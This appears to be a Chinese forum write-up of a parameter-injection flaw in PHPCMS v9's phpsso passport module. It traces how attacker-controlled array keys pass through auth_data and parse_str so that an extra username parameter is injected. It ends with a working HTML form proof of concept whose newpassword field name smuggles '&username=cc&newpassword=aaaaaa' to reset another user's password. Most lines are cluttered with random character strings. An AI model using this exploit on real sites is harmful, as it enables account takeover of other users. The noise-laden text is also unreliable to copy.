提到的通行证的代码:
b5 M/ e4 S: [* B5 o: w! `. T' q0 Q/ w
) d: P" n+ _" |) o! lparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);4 U' J9 i! d! J" f5 U @( X7 D
4 O5 V6 Z/ P! a
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。$ z: n& m% r* O, N* E4 M
0 B+ X6 b2 h: M) n$ {我把它留给了你们。/ W* d; G5 @* ~2 p: ~
不知道你们发现了它没有。
+ y, m. G! ?6 G) L" u ^: `1 q+ O# F+ r- ~4 d0 _: s
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
. W8 x* d/ b/ z* A) z, c/ t) g& Y7 v% I4 w1 v
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。7 P# g+ q Y- ~' M) l
1 x6 ?$ v' R) E! m; m4 _& M2 n0 Z
也就是! C% @* |$ f$ @9 l( S9 _, l8 ?7 s
0 A. n& n0 X; `0 \6 q+ X f
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
- F0 h: F0 n, n8 j& x7 h" x) X' W
) j' }& c( `8 M) c" E要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
' O8 Y5 N, B$ s/ Z u) U$ O4 `& n3 c- i m8 ?1 g
; E1 S: ^, ^9 i# G0 f其实我们有这样的机会,看看代码,如下:
+ t* z" w3 m4 x G$ r3 E. B y3 R+ D
4 Z$ G# Y9 Q4 }' b+ o( B' D3 `3 y+ L* m) _
public function auth_data($data) {7 B% {8 `7 c- @( ?0 V7 v1 A, i7 J
$s = $sep = '';
/ [+ o8 U& p4 { foreach($data as $k => $v) {
2 v: I1 o/ ^" _$ ]5 N! m/ B if(is_array($v)) {
; k4 G: _) }) p! s( i0 r $s2 = $sep2 = '';4 L& v& e: I2 s1 t# Z! u3 p" Y
foreach($v as $k2 => $v2) {
; O# P% _0 d, [9 n $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);! { U; j* `, m6 ?" _- } g; @
$sep2 = '&';3 B8 S1 M7 {; s5 U1 x1 O4 `2 ?. D
}3 d5 b' r, c( z" \; V6 A# R+ J
$s .= $sep.$s2;
" U6 Y6 e; K. r) T4 Q } else {
+ ?! Q( Z/ y% Y" ` $s .= "$sep$k=".$this->_ps_stripslashes($v);. B8 Q' |: M/ S1 F
}2 ?$ v' J- Z( y6 i
$sep = '&';( [7 P/ _! Z" ~% Y; h3 c
}
; s1 x; _ P, y& k8 Z" n/ A" ^& G8 d( }; c/ `% O: N
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));& p$ v$ b0 v' K, W
return $auth_s;
8 m- D7 ~* L% I8 Q3 m! x }
/ C( G4 u+ F0 {: ^
8 u, F5 V: L& H! w1 h ^( l可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。- Q3 j4 f) e4 I: q X/ s4 \& d
* f# Y2 e5 \' _* U6 y- P5 O举个例子- s; X, `* C) o) T' F, l! k
+ t' a8 Q9 Z g& x
$a[aaa=a&bbb] = 'a';2 W2 f4 g) r4 D" p
! Q1 Z& M+ M/ F6 [$ v. h3 T0 N# o会变成aaa=a&bbb=a4 C' W: l; a! [& g |0 g& ~5 K6 q
% l8 m B! k: S2 m" w明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。( P% D2 b' p; @1 l# O9 w
" G, k+ q& r; Q: H& h& _这个时候,我们可以再去看一个函数。7 A8 R O5 L- [9 Z7 g
5 l) B- ~ z2 M( {% v就在这个文件内:8 c2 g+ ]0 J3 J1 H
, \8 c8 ^7 O/ P( y6 s% N5 O0 m) V/ f2 c0 x' V5 I
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
! k$ r g0 C5 \8 H9 N if($email && !$this->_is_email($email)) {9 d8 N$ B8 z% m8 p. J* m
return -4;
0 O( z9 x* q# f+ J5 C( V) ^ }9 c. ^/ `' G" q( M5 U& }
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));. }+ V/ Z5 K' G( _
}
" Y+ ?# U& _6 e, }/ n# h& B! V5 ]" p+ C* e# Z% c- c/ y
这是向通行证发了这样一个请求。
; T( r9 T' R+ d1 N: j
+ \1 N: o% t; O! {+ \我们再跟到通信证代码里去看看,就会有所发现。
% H1 B! g! ?1 D
* _ w* ~9 T0 _5 x. ?7 S7 @$ z7 p. s* n B8 l
public function edit() {) \: j, L- k3 m+ E4 u( h) k
//能省就省,太长了不是吗?9 t7 ]$ ?3 Z/ X2 [- I& m: z; U
( ]0 u, q( R% ?: z) z4 f! |* qif($this->username) {, {' e$ W l% k5 c) g
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
! U. B, Z7 B, N2 Y4 | $res = $this->db->update($data, array('username'=>$this->username));
; _( {1 I! }. A$ Q } else {
; L4 x7 D9 K7 b, h: C6 o file_put_contents('typeb.txt',print_r($data,1).$this->uid);
/ U: p1 C$ i9 _ $res = $this->db->update($data, array('uid'=>$this->uid));( o% m7 T8 X9 U8 a
}
+ {% J9 v9 e: ~3 I
) |! Q: B4 d s* F& ?好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
) D& }' |3 a$ v6 u
0 |3 P5 S# l4 I4 Fpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')2 @. d! \0 D# N2 p
+ U! x" L- W1 W3 W) s8 m很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
$ V3 @# F! e' S* E4 q5 }+ d+ g: O+ s1 t( h |2 g, M+ q0 M
我当然找到了:
5 S- O# B) g0 Q# e8 o4 Cphpcms9/phpcms/modules/member/index.php
$ }( k( J0 |7 j( j! E3 \# K7 Z* p9 }& G; P! V
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']); Y5 \/ N( ~8 F2 @7 Q8 }
, `1 K( }, |+ \2 q/ R6 i+ \
然后就没有然后了。, W" j2 u: @# j7 f/ b
" L- e* P( Q4 A+ A
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
- Z( t* y% }3 R! Y$ K! [ <table width="100%" cellspacing="0" class="table_form">$ I7 v% F: ^: a5 p3 G
<tr>
# `" |% e+ r! P$ _7 [; v4 ] <th width="80">邮箱:</th>
- E# {& C6 R* V <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>: E" q! e1 Z/ E% y
</tr>
2 @( J* Z" b" l5 b6 c" j8 i <tr>
4 f/ Z, ]. ~! R/ x2 i- s+ a <th width="80">原密码:</th> # k5 ~6 x5 b) C% g9 @6 E6 _
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>6 z) P) `5 t" ~1 D' [
</tr>! v4 [% ?& n- e1 N) a
<tr>$ d/ e: i/ X; |+ ~
<th>新密码:</th>
6 D- h2 |. X4 h# U0 F2 {6 B" h <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>9 z7 P. [; j2 b. N0 f
</tr>
i: w; {1 ]0 H' c0 h& S <th></th>) g3 Q3 C- t9 c0 m+ ^9 h i$ s
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>. d& \ k3 w8 J% w' ^5 L- Z
</tr>5 I ?4 f' v' k6 p# T% ]
</table>8 X7 y- F7 M% s
; U& X$ n4 k+ A: q$ c3 ^
) V9 H5 U" m2 }, Z9 u9 J </form>
) ]6 L/ X% R: b, l |